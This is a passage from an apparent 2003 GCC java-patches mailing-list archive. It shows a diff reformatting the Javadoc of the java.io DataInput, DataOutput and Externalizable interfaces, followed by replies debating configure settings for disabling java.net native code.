          - * This method can read data that was written by an object implementing the - * writeLine() method in DataOutput. - * - * @return The line read as a String - * - * @exception IOException If an error occurs - * - * @see DataOutput - */ -String -readLine() throws IOException; - -/*************************************************************************/ - -/** - * This method reads a String from an input stream that is - * encoded in a modified UTF-8 format. This format has a leading two byte - * sequence that contains the remaining number of bytes to read. This two byte - * sequence is read using the readUnsignedShort() method of this - * interface. - * - * After the number of remaining bytes have been determined, these bytes - * are read an transformed into char values. These - * char values are encoded in the stream using either a one, two, - * or three byte format. - * The particular format in use can be determined by examining the first - * byte read. - *

          - * If the first byte has a high order bit of 0, then - * that character consists on only one byte. This character value consists - * of seven bits that are at positions 0 through 6 of the byte. As an - * example, if byte1 is the byte read from the stream, it would - * be converted to a char like so: - *

          - * (char)byte1 - *

          - * If the first byte has 110 as its high order bits, then the - * character consists of two bytes. The bits that make up the character - * value are in positions 0 through 4 of the first byte and bit positions - * 0 through 5 of the second byte. (The second byte should have - * 10 as its high order bits). These values are in most significant - * byte first (i.e., "big endian") order. - *

          - * As an example, if byte1 and byte2 are the first - * two bytes read respectively, and the high order bits of them match the - * patterns which indicate a two byte character encoding, then they would be - * converted to a Java char like so: - *

          - * (char)(((byte1 & 0x1F) << 6) + (byte2 & 0x3F)) - *

          - * If the first byte has a 1110 as its high order bits, then the - * character consists of three bytes. The bits that make up the character - * value are in positions 0 through 3 of the first byte and bit positions - * 0 through 5 of the other two bytes. (The second and third bytes should - * have 10 as their high order bits). These values are in most - * significant byte first (i.e., "big endian") order. - *

          - * As an example, if byte1, byte2, and - * byte3 are the three bytes read, and the high order bits of - * them match the patterns which indicate a three byte character encoding, - * then they would be converted to a Java char like so: - * - * - * (char)(((byte1 & 0x0F) << 12) + ((byte2 & 0x3F) + (byte3 & 0x3F)) - * - * - * Note that all characters are encoded in the method that requires the - * fewest number of bytes with the exception of the character with the - * value of \u0000 which is encoded as two bytes. This is - * a modification of the UTF standard used to prevent C language style - * NUL values from appearing in the byte stream. - *

          - * This method can read data that was written by an object implementing the - * writeUTF() method in DataOutput. - * - * @returns The String read - * - * @exception EOFException If end of file is reached before reading the String - * @exception UTFDataFormatException If the data is not in UTF-8 format - * @exception IOException If any other error occurs - * - * @see DataOutput - */ -String -readUTF() throws EOFException, UTFDataFormatException, IOException; - -/*************************************************************************/ - -/** - * This method reads raw bytes into the passed array until the array is - * full. Note that this method blocks until the data is available and - * throws an exception if there is not enough data left in the stream to - * fill the buffer - * - * @param buf The buffer into which to read the data - * - * @exception EOFException If end of file is reached before filling the buffer - * @exception IOException If any other error occurs - */ -void -readFully(byte[] buf) throws EOFException, IOException; - -/*************************************************************************/ - -/** - * This method reads raw bytes into the passed array buf starting - * offset bytes into the buffer. The number of bytes read will be - * exactly len. Note that this method blocks until the data is - * available and * throws an exception if there is not enough data left in - * the stream to read len bytes. - * - * @param buf The buffer into which to read the data - * @param offset The offset into the buffer to start storing data - * @param len The number of bytes to read into the buffer - * - * @exception EOFException If end of file is reached before filling the buffer - * @exception IOException If any other error occurs - */ -void -readFully(byte[] buf, int offset, int len) throws EOFException, IOException; - -/*************************************************************************/ - -/** - * This method skips and discards the specified number of bytes in an - * input stream - * - * @param num_bytes The number of bytes to skip - * - * @return The number of bytes actually skipped, which will always be - * num_bytes - * - * @exception EOFException If end of file is reached before all bytes can be - * skipped - * @exception IOException If any other error occurs - */ -int -skipBytes(int n) throws EOFException, IOException; + /** + * This method reads a Java boolean value from an input stream. It does + * so by reading a single byte of data. If that byte is zero, then the + * value returned is false. If the byte is non-zero, then + * the value returned is true. + *

          + * This method can read a boolean written by an object + * implementing the writeBoolean() method in the + * DataOutput interface. + * + * @return The boolean value read + * + * @exception EOFException If end of file is reached before + * reading the boolean + * @exception IOException If any other error occurs + */ + boolean readBoolean() throws EOFException, IOException; + + /*************************************************************************/ + + /** + * This method reads a Java byte value from an input stream. The value + * is in the range of -128 to 127. + *

          + * This method can read a byte written by an object + * implementing the + * writeByte() method in the DataOutput interface. + *

          + * @return The byte value read + * + * @exception EOFException If end of file is reached before reading the byte + * @exception IOException If any other error occurs + * + * @see DataOutput + */ + byte readByte() throws EOFException, IOException; + + /*************************************************************************/ + + /** + * This method reads 8 unsigned bits into a Java int value from + * the stream. The value returned is in the range of 0 to 255. + *

          + * This method can read an unsigned byte written by an object + * implementing the + * writeUnsignedByte() method in the DataOutput + * interface. + * + * @return The unsigned bytes value read as a Java int. + * + * @exception EOFException If end of file is reached before reading the value + * @exception IOException If any other error occurs + * + * @see DataOutput + */ + int readUnsignedByte() throws EOFException, IOException; + + /*************************************************************************/ + + /** + * This method reads a Java char value from an input stream. + * It operates by reading two bytes from the stream and converting them to + * a single 16-bit Java char. The two bytes are stored most + * significant byte first (i.e., "big endian") regardless of the native + * host byte ordering. + *

          + * As an example, if byte1 and byte2 represent the + * first and second byte read from the stream respectively, they will be + * transformed to a char in the following manner: + *

          + * (char)((byte1 << 8) + byte2) + *

          + * This method can read a char written by an object implementing + * the + * writeChar() method in the DataOutput interface. + * + * @return The char value read + * + * @exception EOFException If end of file is reached before reading the char + * @exception IOException If any other error occurs + * + * @see DataOutput + */ + char readChar() throws EOFException, IOException; + + /*************************************************************************/ + + /** + * This method reads a signed 16-bit value into a Java in from the stream. + * It operates by reading two bytes from the stream and converting them to + * a single 16-bit Java short. The two bytes are stored most + * significant byte first (i.e., "big endian") regardless of the native + * host byte ordering. + *

          + * As an example, if byte1 and byte2 represent the + * first and second byte read from the stream respectively, they will be + * transformed to a short in the following manner: + *

          + * (short)((byte1 << 8) + byte2) + *

          + * The value returned is in the range of -32768 to 32767. + *

          + * This method can read a short written by an object + * implementing + * the writeShort() method in the DataOutput + * interface. + * + * @return The short value read + * + * @exception EOFException If end of file is reached before reading the value + * @exception IOException If any other error occurs + * + * @see DataOutput + */ + short readShort() throws EOFException, IOException; + + /*************************************************************************/ + + /** + * This method reads 16 unsigned bits into a Java int value from the stream. + * It operates by reading two bytes from the stream and converting them to + * a single Java int. The two bytes are stored most + * significant byte first (i.e., "big endian") regardless of the native + * host byte ordering. + *

          + * As an example, if byte1 and byte2 represent the + * first and second byte read from the stream respectively, they will be + * transformed to an int in the following manner: + *

          + * (int)((byte1 << 8) + byte2) + *

          + * The value returned is in the range of 0 to 65535. + *

          + * This method can read an unsigned short written by an object implementing + * the writeUnsignedShort() method in the + * DataOutput + * interface. + * + * @return The unsigned short value read as a Java int. + * + * @exception EOFException If end of file is reached before reading + * the value + * @exception IOException If any other error occurs + */ + int readUnsignedShort() throws EOFException, IOException; + + /*************************************************************************/ + + /** + * This method reads a Java int value from an input stream + * It operates by reading four bytes from the stream and converting them to + * a single Java int. The bytes are stored most + * significant byte first (i.e., "big endian") regardless of the native + * host byte ordering. + *

          + * As an example, if byte1 through byte4 represent + * the first four bytes read from the stream, they will be + * transformed to an int in the following manner: + *

          + * (int)((byte1 << 24) + (byte2 << 16) + (byte3 << 8) + byte4)) + *

          + * The value returned is in the range of -2147483648 to 2147483647. + *

          + * This method can read an int written by an object + * implementing the writeInt() method in the + * DataOutput interface. + * + * @return The int value read + * + * @exception EOFException If end of file is reached before reading the int + * @exception IOException If any other error occurs + * + * @see DataOutput + */ + int readInt() throws EOFException, IOException; + + /*************************************************************************/ + + /** + * This method reads a Java long value from an input stream + * It operates by reading eight bytes from the stream and converting them to + * a single Java long. The bytes are stored most + * significant byte first (i.e., "big endian") regardless of the native + * host byte ordering. + *

          + * As an example, if byte1 through byte8 represent + * the first eight bytes read from the stream, they will be + * transformed to an long in the following manner: + *

          + * (long)((byte1 << 56) + (byte2 << 48) + (byte3 << 40) + + * (byte4 << 32) + (byte5 << 24) + (byte6 << 16) + (byte7 << 8) + byte9)) + * + *

          + * The value returned is in the range of -9223372036854775808 to + * 9223372036854775807. + *

          + * This method can read an long written by an object + * implementing the writeLong() method in the + * DataOutput interface. + * + * @return The long value read + * + * @exception EOFException If end of file is reached before reading the long + * @exception IOException If any other error occurs + * + * @see DataOutput + */ + long readLong() throws EOFException, IOException; + + /*************************************************************************/ + + /** + * This method reads a Java float value from an input stream. It operates + * by first reading an int value from the stream by calling the + * readInt() method in this interface, then converts that + * int to a float using the + * intBitsToFloat method in the class + * java.lang.Float. + *

          + * This method can read a float written by an object + * implementing + * the writeFloat() method in the DataOutput + * interface. + * + * @return The float value read + * + * @exception EOFException If end of file is reached before reading the + * float + * @exception IOException If any other error occurs + * + * @see java.lang.Float + * @see DataOutput + */ + float readFloat() throws EOFException, IOException; + + /*************************************************************************/ + + /** + * This method reads a Java double value from an input stream. It operates + * by first reading a long value from the stream by calling the + * readLong() method in this interface, then converts that + * long to a double using the + * longBitsToDouble method in the class + * java.lang.Double. + *

          + * This method can read a double written by an object + * implementing the writeDouble() method in the + * DataOutput interface. + * + * @return The double value read + * + * @exception EOFException If end of file is reached before reading the + * double + * @exception IOException If any other error occurs + * + * @see java.lang.Double + * @see DataOutput + */ + double readDouble() throws EOFException, IOException; + + /*************************************************************************/ + + /** + * This method reads the next line of text data from an input stream. + * It operates by reading bytes and converting those bytes to + * char + * values by treating the byte read as the low eight bits of the + * char and using 0 as the high eight bits. Because of this, + * it does not support the full 16-bit Unicode character set. + *

          + * The reading of bytes ends when either the end of file or a line terminator + * is encountered. The bytes read are then returned as a + * String. + * A line terminator is a byte sequence consisting of either + * \r, \n or \r\n. These termination + * charaters are discarded and are not returned as part of the string. + *

          + * This method can read data that was written by an object implementing the + * writeLine() method in DataOutput. + * + * @return The line read as a String + * + * @exception IOException If an error occurs + * + * @see DataOutput + */ + String readLine() throws IOException; + + /*************************************************************************/ + + /** + * This method reads a String from an input stream that is + * encoded in a modified UTF-8 format. This format has a leading two byte + * sequence that contains the remaining number of bytes to read. + * This two byte + * sequence is read using the readUnsignedShort() method of this + * interface. + * + * After the number of remaining bytes have been determined, these bytes + * are read an transformed into char values. These + * char values are encoded in the stream using either a one, + * two, or three byte format. + * The particular format in use can be determined by examining the first + * byte read. + *

          + * If the first byte has a high order bit of 0, then + * that character consists on only one byte. This character value consists + * of seven bits that are at positions 0 through 6 of the byte. As an + * example, if byte1 is the byte read from the stream, it would + * be converted to a char like so: + *

          + * (char)byte1 + *

          + * If the first byte has 110 as its high order bits, then the + * character consists of two bytes. The bits that make up the character + * value are in positions 0 through 4 of the first byte and bit positions + * 0 through 5 of the second byte. (The second byte should have + * 10 as its high order bits). These values are in most significant + * byte first (i.e., "big endian") order. + *

          + * As an example, if byte1 and byte2 are the first + * two bytes read respectively, and the high order bits of them match the + * patterns which indicate a two byte character encoding, then they would be + * converted to a Java char like so: + *

          + * (char)(((byte1 & 0x1F) << 6) + (byte2 & 0x3F)) + *

          + * If the first byte has a 1110 as its high order bits, then the + * character consists of three bytes. The bits that make up the character + * value are in positions 0 through 3 of the first byte and bit positions + * 0 through 5 of the other two bytes. (The second and third bytes should + * have 10 as their high order bits). These values are in most + * significant byte first (i.e., "big endian") order. + *

          + * As an example, if byte1, byte2, and + * byte3 are the three bytes read, and the high order bits of + * them match the patterns which indicate a three byte character encoding, + * then they would be converted to a Java char like so: + * + * + * (char)(((byte1 & 0x0F) << 12) + ((byte2 & 0x3F) + (byte3 & 0x3F)) + * + * + * Note that all characters are encoded in the method that requires the + * fewest number of bytes with the exception of the character with the + * value of \u0000 which is encoded as two bytes. + * This is a modification of the UTF standard used to prevent C language + * style NUL values from appearing in the byte stream. + *

          + * This method can read data that was written by an object implementing the + * writeUTF() method in DataOutput. + * + * @returns The String read + * + * @exception EOFException If end of file is reached before reading the + * String + * @exception UTFDataFormatException If the data is not in UTF-8 format + * @exception IOException If any other error occurs + * + * @see DataOutput + */ + String readUTF() throws EOFException, UTFDataFormatException, IOException; + + /*************************************************************************/ + + /** + * This method reads raw bytes into the passed array until the array is + * full. Note that this method blocks until the data is available and + * throws an exception if there is not enough data left in the stream to + * fill the buffer + * + * @param buf The buffer into which to read the data + * + * @exception EOFException If end of file is reached before filling the + * buffer + * @exception IOException If any other error occurs + */ + void readFully(byte[] buf) throws EOFException, IOException; + + /*************************************************************************/ + + /** + * This method reads raw bytes into the passed array buf + * starting + * offset bytes into the buffer. The number of bytes read + * will be + * exactly len. Note that this method blocks until the data is + * available and * throws an exception if there is not enough data left in + * the stream to read len bytes. + * + * @param buf The buffer into which to read the data + * @param offset The offset into the buffer to start storing data + * @param len The number of bytes to read into the buffer + * + * @exception EOFException If end of file is reached before filling the + * buffer + * @exception IOException If any other error occurs + */ + void readFully(byte[] buf, int offset, int len) + throws EOFException, IOException; + + /*************************************************************************/ + + /** + * This method skips and discards the specified number of bytes in an + * input stream + * + * @param num_bytes The number of bytes to skip + * + * @return The number of bytes actually skipped, which will always be + * num_bytes + * + * @exception EOFException If end of file is reached before all bytes can be + * skipped + * @exception IOException If any other error occurs + */ + int skipBytes(int n) throws EOFException, IOException; } // interface DataInput Index: java/io/DataInputStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/DataInputStream.java,v retrieving revision 1.13 diff -u -r1.13 DataInputStream.java --- java/io/DataInputStream.java 3 Nov 2002 20:27:30 -0000 1.13 +++ java/io/DataInputStream.java 18 Mar 2003 07:49:52 -0000 @@ -1,5 +1,5 @@ /* DataInputStream.java -- FilteredInputStream that implements DataInput - Copyright (C) 1998, 1999, 2000, 2001 Free Software Foundation + Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation This file is part of GNU Classpath. @@ -49,8 +49,6 @@ * Java data types from a stream. * * @see DataInput - * - * @version 0.0 * * @author Warren Levy * @author Aaron M. Renn (arenn@urbanophile.com) Index: java/io/DataOutput.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/DataOutput.java,v retrieving revision 1.5 diff -u -r1.5 DataOutput.java --- java/io/DataOutput.java 22 Jan 2002 22:40:14 -0000 1.5 +++ java/io/DataOutput.java 18 Mar 2003 07:49:52 -0000 @@ -53,176 +53,165 @@ public interface DataOutput { -/** - * This method writes a Java boolean value to an output stream - * - * @param value The boolean value to write - * - * @exception IOException If an error occurs - */ -void -writeBoolean(boolean value) throws IOException; - -/*************************************************************************/ - -/** - * This method writes a Java byte value to an output stream - * - * @param value The int value to write - * - * @exception IOException If an error occurs - */ -void -writeByte(int value) throws IOException; - -/*************************************************************************/ - -/** - * This method writes a Java char value to an output stream - * - * @param value The char value to write - * - * @exception IOException If an error occurs - */ -void -writeChar(int value) throws IOException; - -/*************************************************************************/ - -/** - * This method writes a Java int value to an output stream as a 16 bit value - * - * @param value The int value to write as a 16-bit value - * - * @exception IOException If an error occurs - */ -void -writeShort(int value) throws IOException; - -/*************************************************************************/ - -/** - * This method writes a Java int value to an output stream - * - * @param value The int value to write - * - * @exception IOException If an error occurs - */ -void -writeInt(int value) throws IOException; - -/*************************************************************************/ - -/** - * This method writes a Java long value to an output stream - * - * @param value The long value to write - * - * @exception IOException If an error occurs - */ -void -writeLong(long value) throws IOException; - -/*************************************************************************/ - -/** - * This method writes a Java float value to an output stream - * - * @param value The float value to write - * - * @exception IOException If an error occurs - */ -void -writeFloat(float value) throws IOException; - -/*************************************************************************/ - -/** - * This method writes a Java double value to an output stream - * - * @param value The double value to write - * - * @exception IOException If any other error occurs - */ -void -writeDouble(double value) throws IOException; - -/*************************************************************************/ - -/** - * This method writes a String to an output stream as an array of bytes - * - * @param value The String to write - * - * @exception IOException If an error occurs - */ -void -writeBytes(String value) throws IOException; - -/*************************************************************************/ - -/** - * This method writes a String to an output stream as an array of char's - * - * @param value The String to write - * - * @exception IOException If an error occurs - */ -void -writeChars(String value) throws IOException; - -/*************************************************************************/ - -/** - * This method writes a String to an output stream encoded in - * UTF-8 format. - * - * @param value The String to write - * - * @exception IOException If an error occurs - */ -void -writeUTF(String value) throws IOException; - -/*************************************************************************/ - -/** - * This method writes an 8-bit value (passed into the method as a Java - * int) to an output stream. - * - * @param value The byte to write to the output stream - * - * @exception IOException If an error occurs - */ -void -write(int value) throws IOException; - -/*************************************************************************/ - -/** - * This method writes the raw byte array passed in to the output stream. - * - * @param buf The byte array to write - * - * @exception IOException If an error occurs - */ -void -write(byte[] buf) throws IOException; - -/*************************************************************************/ - -/** - * This method writes raw bytes from the passed array buf starting - * offset bytes into the buffer. The number of bytes written will be - * exactly len. - * - * @param buf The buffer from which to write the data - * @param offset The offset into the buffer to start writing data from - * @param len The number of bytes to write from the buffer to the output stream - * - * @exception IOException If any other error occurs - */ -void -write(byte[] buf, int offset, int len) throws IOException; + /** + * This method writes a Java boolean value to an output stream + * + * @param value The boolean value to write + * + * @exception IOException If an error occurs + */ + void writeBoolean(boolean value) throws IOException; + + /*************************************************************************/ + + /** + * This method writes a Java byte value to an output stream + * + * @param value The int value to write + * + * @exception IOException If an error occurs + */ + void writeByte(int value) throws IOException; + + /*************************************************************************/ + + /** + * This method writes a Java char value to an output stream + * + * @param value The char value to write + * + * @exception IOException If an error occurs + */ + void writeChar(int value) throws IOException; + + /*************************************************************************/ + + /** + * This method writes a Java int value to an output stream as a 16 bit value + * + * @param value The int value to write as a 16-bit value + * + * @exception IOException If an error occurs + */ + void writeShort(int value) throws IOException; + + /*************************************************************************/ + + /** + * This method writes a Java int value to an output stream + * + * @param value The int value to write + * + * @exception IOException If an error occurs + */ + void writeInt(int value) throws IOException; + + /*************************************************************************/ + + /** + * This method writes a Java long value to an output stream + * + * @param value The long value to write + * + * @exception IOException If an error occurs + */ + void writeLong(long value) throws IOException; + + /*************************************************************************/ + + /** + * This method writes a Java float value to an output stream + * + * @param value The float value to write + * + * @exception IOException If an error occurs + */ + void writeFloat(float value) throws IOException; + + /*************************************************************************/ + + /** + * This method writes a Java double value to an output stream + * + * @param value The double value to write + * + * @exception IOException If any other error occurs + */ + void writeDouble(double value) throws IOException; + + /*************************************************************************/ + + /** + * This method writes a String to an output stream as an array of bytes + * + * @param value The String to write + * + * @exception IOException If an error occurs + */ + void writeBytes(String value) throws IOException; + + /*************************************************************************/ + + /** + * This method writes a String to an output stream as an array of char's + * + * @param value The String to write + * + * @exception IOException If an error occurs + */ + void writeChars(String value) throws IOException; + + /*************************************************************************/ + + /** + * This method writes a String to an output stream encoded in + * UTF-8 format. + * + * @param value The String to write + * + * @exception IOException If an error occurs + */ + void writeUTF(String value) throws IOException; + + /*************************************************************************/ + + /** + * This method writes an 8-bit value (passed into the method as a Java + * int) to an output stream. + * + * @param value The byte to write to the output stream + * + * @exception IOException If an error occurs + */ + void write(int value) throws IOException; + + /*************************************************************************/ + + /** + * This method writes the raw byte array passed in to the output stream. + * + * @param buf The byte array to write + * + * @exception IOException If an error occurs + */ + void write(byte[] buf) throws IOException; + + /*************************************************************************/ + + /** + * This method writes raw bytes from the passed array buf + * starting + * offset bytes into the buffer. The number of bytes + * written will be * exactly len. + * + * @param buf The buffer from which to write the data + * @param offset The offset into the buffer to start writing data from + * @param len The number of bytes to write from the buffer to the output + * stream + * + * @exception IOException If any other error occurs + */ + void write(byte[] buf, int offset, int len) throws IOException; } // interface DataOutput + Index: java/io/Externalizable.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/Externalizable.java,v retrieving revision 1.4 diff -u -r1.4 Externalizable.java --- java/io/Externalizable.java 10 Nov 2002 22:06:48 -0000 1.4 +++ java/io/Externalizable.java 18 Mar 2003 07:49:52 -0000 @@ -56,55 +56,58 @@ * created using the default no-argument constructor and the * readExternal method is used to restore the state. * - * @version 0.0 - * * @author Aaron M. Renn (arenn@urbanophile.com) */ public interface Externalizable extends Serializable { static final long serialVersionUID = -282491828744381764L; -/** - * This method restores an object's state by reading in the instance data - * for the object from the passed in stream. Note that this stream is not - * a subclass of InputStream, but rather is a class that implements - * the ObjectInput interface. That interface provides a mechanism for - * reading in Java data types from a stream. - *

          - * Note that this method must be compatible with writeExternal. - * It must read back the exact same types that were written by that - * method in the exact order they were written. - *

          - * If this method needs to read back an object instance, then the class - * for that object must be found and loaded. If that operation fails, - * then this method throws a ClassNotFoundException - * - * @param in An ObjectInput instance for reading in the object state - * - * @exception ClassNotFoundException If the class of an object being restored cannot be found - * @exception IOException If any other error occurs - */ -public abstract void -readExternal(ObjectInput in) throws ClassNotFoundException, IOException; + /** + * This method restores an object's state by reading in the instance data + * for the object from the passed in stream. Note that this stream is not + * a subclass of InputStream, but rather is a class that + * implements + * the ObjectInput interface. That interface provides a + * mechanism for + * reading in Java data types from a stream. + *

          + * Note that this method must be compatible with writeExternal. + * It must read back the exact same types that were written by that + * method in the exact order they were written. + *

          + * If this method needs to read back an object instance, then the class + * for that object must be found and loaded. If that operation fails, + * then this method throws a ClassNotFoundException + * + * @param in An ObjectInput instance for reading in the object + * state + * + * @exception ClassNotFoundException If the class of an object being + * restored cannot be found + * @exception IOException If any other error occurs + */ + public abstract void readExternal(ObjectInput in) + throws ClassNotFoundException, IOException; -/*************************************************************************/ + /*************************************************************************/ -/** - * This method is responsible for writing the instance data of an object - * to the passed in stream. Note that this stream is not a subclass of - * OutputStream, but rather is a class that implements the - * ObjectOutput interface. That interface provides a number of methods - * for writing Java data values to a stream. - *

          - * Not that the implementation of this method must be coordinated with - * the implementation of readExternal. - * - * @param out An ObjectOutput instance for writing the object state - * - * @exception IOException If an error occurs - */ -public abstract void -writeExternal(ObjectOutput out) throws IOException; + /** + * This method is responsible for writing the instance data of an object + * to the passed in stream. Note that this stream is not a subclass of + * OutputStream, but rather is a class that implements the + * ObjectOutput interface. That interface provides a + * number of methods + * for writing Java data values to a stream. + *

          + * Not that the implementation of this method must be coordinated with + * the implementation of readExternal. + * + * @param out An ObjectOutput instance for writing the + * object state + * + * @exception IOException If an error occurs + */ + public abstract void writeExternal(ObjectOutput out) throws IOException; } // interface Externalizable --Boundary-00=_wAtd+li5Uh6hHXC-- From java-patches-return-6520-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 07:53:01 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9698 invoked by alias); 18 Mar 2003 07:53:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9669 invoked from network); 18 Mar 2003 07:53:00 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 18 Mar 2003 07:53:00 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2I7r0n16060 for ; Tue, 18 Mar 2003 01:53:00 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Tue, 18 Mar 2003 01:53:11 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <200303172058.18462.konqueror@gmx.de> Message-Id: Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Michael, This looks nice. I've got a couple of comments, though: - Here, you seem to want to disable the net code if we are doing a non-native build: GCJ="${target_alias}-gcj" fi NATIVE=no + PLATFORMNET=NoNet else AC_CHECK_FUNCS(strerror ioctl select fstat open fsync sleep opendir) However, I don't think this is necessary. We are using the cross compiler to build a library that is intended for consumption on the target platform, so we presumably have everything in place needed to do this. The library we're building isn't intended to run on the host platform. - Given that Tom said that we will need to continue supporting net-less code: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00788.html ...I think we would need a line in configure.in that looks something like this: if test "$enable_java_net" = no; then PLATFORMNET=NoNet fi This would disable the net code regardless of platform if they chose --disable-java-net. This would presumably come right before this line: +AC_LINK_FILES(java/net/natInetAddress${PLATFORMNET}.cc, java/lang/natInetAddress.cc) or else right after this case statement: case "$TARGET_ECOS" in ... esac -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6521-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 08:26:44 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17965 invoked by alias); 18 Mar 2003 08:22:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8379 invoked from network); 18 Mar 2003 08:20:26 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 18 Mar 2003 08:20:26 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-253.ewetel.net [80.228.73.253]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2I8KOdx022144; Tue, 18 Mar 2003 09:20:24 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vCJZ-0002h3-00; Tue, 18 Mar 2003 09:19:17 +0100 From: Michael Koch To: gnustuff@thisiscool.com, java-patches@gcc.gnu.org Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch Date: Tue, 18 Mar 2003 09:21:27 +0100 User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303180921.27142.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 18. M=E4rz 2003 08:53 schrieb Mohan Embar: > - Here, you seem to want to disable the net code if we are doing a > non-native build: > > GCJ=3D"${target_alias}-gcj" > fi > NATIVE=3Dno > + PLATFORMNET=3DNoNet > else > AC_CHECK_FUNCS(strerror ioctl select fstat open fsync sleep > opendir) Does this PLATFORMNET=3DNoNet have to be removed for someone ? mingw=20 users or so ? > - Given that Tom said that we will need to continue supporting > net-less code: > > http://gcc.gnu.org/ml/java-patches/2003-q1/msg00788.html > > ...I think we would need a line in configure.in that looks > something like this: > > if test "$enable_java_net" =3D no; then > PLATFORMNET=3DNoNet > fi > > This would disable the net code regardless of platform if they > chose --disable-java-net. Do we really need this ? I thought we only need it for newlib users ?=20 Of course we can add an AC_ENABLE(java-net,...) if needed later. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dtcHWSOgCCdjSDsRAu0iAKCWveZ5/XqXEubI5yYy06mEwKywIQCfQp8S Dp+yruO/cw1mUIuEaa6x0cs=3D =3DvVwx =2D----END PGP SIGNATURE----- From java-patches-return-6522-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 08:34:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3532 invoked by alias); 18 Mar 2003 08:34:40 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3521 invoked from network); 18 Mar 2003 08:34:39 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 18 Mar 2003 08:34:39 -0000 Received: from p733 (adsl-66-72-232-70.dsl.milwwi.ameritech.net [66.72.232.70]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2I8Ydu20717 for ; Tue, 18 Mar 2003 02:34:39 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org Date: Tue, 18 Mar 2003 02:34:52 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <200303180921.27142.konqueror@gmx.de> Message-Id: Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Michael, >Does this PLATFORMNET=NoNet have to be removed for someone ? mingw >users or so ? It's not a MingW-specific thing. I don't think it make sense to have it here because you are unnecessarily disabling net functionality in a cross-built library. There isn't any reason to do this (unless my understanding of cross builds is incorrect). >> This would disable the net code regardless of platform if they >> chose --disable-java-net. > >Do we really need this ? I thought we only need it for newlib users ? >Of course we can add an AC_ENABLE(java-net,...) if needed later. I wasn't clear from Tom's message: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00788.html ...if he was: - in favor of retaining the current --disable-java-net functionality exactly as it exists today - only supporting net-less builds for newlib targets My comment was based on the assumption that for the moment, today's functionality is retained as-is. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6523-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 08:52:27 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21471 invoked by alias); 18 Mar 2003 08:52:27 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21433 invoked from network); 18 Mar 2003 08:52:26 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by sources.redhat.com with SMTP; 18 Mar 2003 08:52:26 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-253.ewetel.net [80.228.73.253]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2I8qO8G027853; Tue, 18 Mar 2003 09:52:24 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vCoX-0002jB-00; Tue, 18 Mar 2003 09:51:17 +0100 From: Michael Koch To: gnustuff@thisiscool.com, 